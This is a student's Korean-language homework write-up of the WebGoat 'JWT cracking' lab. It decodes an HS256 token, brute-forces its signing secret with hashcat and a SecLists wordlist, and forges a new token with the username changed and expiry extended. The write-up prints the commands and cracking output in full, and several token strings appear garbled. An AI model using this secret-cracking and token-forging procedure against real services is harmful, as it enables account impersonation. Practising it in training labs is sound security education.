

인터넷응용보안 14주차 과제

202121556 곽지현

JWT Tokens 10번 문제

제시된 JWT 값을 복사해서 붙여넣기

The screenshot shows a browser window with the URL <https://logto.io/ko/jwt-decoder>. The page has a dark theme with purple accents. At the top, there's a navigation bar with tabs for 'JWT 디코더 & 인코더 (JWT decoder)' and 'JWT 토큰 생성 (JWT token generator)'. Below the navigation, there's a header with the Logto logo and buttons for '로그인' (Login), '시작하기' (Start), and a menu icon.

The main area is divided into two sections: 'JWT' on the left and '디코딩된 헤더' (Decoded Header) and '디코딩된 페이로드' (Decoded Payload) on the right.

JWT:

```
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJhb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnbF0Lm9yZyIsImlhCI6MTc0ODkyMjUzM0CwiZXhwIjoxNzQ4OTIyNTkwLCJzdWIoiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2YbmFtZSI6IlRvbSIiIkVtYWlsIjoidG9tQHd1YmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VYIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.e4SfWksIdgnEk-XaYtpcZpaxp_ced2BrzGsyiAHqAIU
```

디코딩된 헤더:

```
{ "alg": "HS256" }
```

디코딩된 페이로드:

```
{
  "iss": "WebGoat Token Builder",
  "aud": "webgoat.org",
  "iat": 1748922530,
  "exp": 1748922590,
  "sub": "tom@webgoat.org",
  "username": "Tom",
  "Email": "tom@webgoat.org",
  "Role": [
    "Manager",
    "Project Administrator"
  ]
}
```

Hashcat 설치

```
root@043a5abe5479:~/WebGoat# cd
root@043a5abe5479:~# apt update && apt install -y hashcat
Get:1 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]
Hit:2 http://archive.ubuntu.com/ubuntu noble InRelease
Get:3 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]
Get:4 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [1442 kB]
Get:5 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]
Get:6 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [1488 kB]
Get:7 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1087 kB]
Get:8 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [1093 kB]
```

사전 대입 공격용 파일 다운

```
root@043a5abe5479:~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/raft-small-words.txt
--2025-06-03 13:02:27-- https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/raft-small-words.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 348619 (340K) [text/plain]
Saving to: 'raft-small-words.txt'

raft-small-words.txt 100%[=====] 340.45K --.-KB/s in 0.04s

2025-06-03 13:02:27 (8.08 MB/s) - 'raft-small-words.txt' saved [348619/348619]

root@043a5abe5479:~# ls
WebGoat  raft-small-words.txt  rsa
root@043a5abe5479:~#
```

JWT 값을 복사해 hash.txt 파일에 저장하고 확인

```
root@043a5abe5479:~# echo eyJhbGciOiJIUzI1NiJ9eyJpc3MiOiJXZWJhb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOjZWRnb2F0Lm9yZyIsImlhCI6MTc0ODkyNDE3MCwiZXhwIjoxNzQ4OTI0MjMwLCJzdWIoiJ0b21Ad2ViZ29hdC5vcmcilCJ1c2VybmlzHJhdG9yIl19.DlMTegXXStV5c9fhgvLYLelt0MxryWMdB2-QG4WMfwE > hash.txt
root@043a5abe5479:~# more hash.txt
eyJhbGciOiJIUzI1NiJ9eyJpc3MiOiJXZWJhb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOjZWRnb2F0Lm9yZyIsImlhCI6MTc0ODkyNDE3MCwiZXhwIjoxNzQ4OTI0MjMwLCJzdWIoiJ0b21Ad2ViZ29hdC5vcmcilCJ1c2VybmlzHJhdG9yIl19.DlMTegXXStV5c9fhgvLYLelt0MxryWMdB2-QG4WMfwE
root@043a5abe5479:~# |
```

Hashcat 으로 공격 시작

```
root@043a5abe5479:~# hashcat hash.txt -a 3 -m 16500 raft-small-words.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i5-1240P, 2835/5734 MB (1024 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 4 MB
```

Status : Cracked 라고 표시되면 공격 성공 -> victory

```
root@043a5abe5479: ~ + - ×
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOj3ZWJnb2F0Lm9yZyIsImhdCI6MTc0ODkyNDE3MCwiZXhwIjoxNzQ4OTI0MjMwLCJzdWIi0iJ0b21Ad2Viz29hdC5vcmciLCJ1c2VybmrZSI6IlRvbSISIkVtYWlsIjoidG9tQHdLYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.DlMTegXXStV5c9fhgvLYLeL0MxryWMdB2-QG4WMfwE:victory

Session.....: hashcat
Status.....: Cracked
Hash.Mode....: 16500 (JWT (JSON Web Token))
Hash.Target...: eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIE...4WMfwE
Time.Started.: Tue Jun 3 13:49:54 2025 (0 secs)
Time.Estimated.: Tue Jun 3 13:49:54 2025 (0 secs)
Kernel.Feature.: Pure Kernel
Guess.Mask....: victory [7]
Guess.Queue....: 26853/43007 (62.44%)
Speed.#1.....: 2373 H/s (0.00ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1/1 (100.00%)
Rejected.....: 0/1 (0.00%)
Restore.Point.: 0/1 (0.00%)
Restore.Sub.#1.: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1...: victory -> victory

Started: Tue Jun 3 13:17:09 2025
Stopped: Tue Jun 3 13:49:55 2025
root@043a5abe5479:~#
```

JWT decoder 페이지 상단에서 encoder를 클릭후 Tom에서 WebGoat로 변경, exp에 10000 추가, 서명 키에 victory 문자열로 넣기 -> JWT 재생성

The screenshot shows the Logto JWT Decoder interface. At the top, the URL is https://logto.io/ko/jwt-decoder. The main area has three sections: 헤더 (Header), 페이로드 (Payload), and 서명 키 (Signature Key). In the 헤더 section, the input is a JSON object with "alg": "HS256". In the 페이로드 section, the input is a JSON object with various fields: iss, aud, iat, exp, sub, username, Email, and Role (Manager, Project Administrator). In the 서명 키 section, the input is "victory". To the right, under the heading "인코딩된 JWT" (Encoded JWT), the generated JWT token is displayed: eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOj3ZWJnb2F0Lm9yZyIsImhdCI6MTc0ODkyNDE3MCwiZXhwIjoxNzQ4OTM0MjMwLCJzdWIi0iJ0b21Ad2Viz29hdC5vcmciLCJ1c2VybmrZSI6IlRvbSISIkVtYWlsIjoidG9tQHdLYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.DlMTegXXStV5c9fhgvLYLeL0MxryWMdB2-QG4WMfwE:victory. Below this, a green button says "✓ 서명 확인됨!" (Signature confirmed!). There is also a checkbox for "Base64 인코딩됨" (Encoded in Base64).

재생성된 JWT 복사하여 빈칸에 붙어넣고 제출 -> 성공!

The screenshot shows a browser window for the WebGoat application at the URL `127.0.0.1:8080/WebGoat/start.mvc#lesson/JWT.lesson/9`. The left sidebar lists various security lessons, with 'JWT cracking' selected. The main content area displays the assignment details:

JWT cracking

With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key we can create a new token and sign it. So it is very important the key is strong enough so a brute force or dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack.

Assignment

Given we have the following token try to find out secret key and submit a new key with the username changed to WebGoat.

A text input field contains the token: `W5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.DlMTegXX5tV5c9fhgv1YLe1t0MxryWMdB2-QG4wMfwE`. Below the input field is a red-bordered box containing a checked checkbox and a text input field with the placeholder `XXX.YYY.ZZZ`. A blue button labeled "Submit token" is located below the text input field. A message box at the bottom right says **Congratulations. You have successfully completed the assignment.**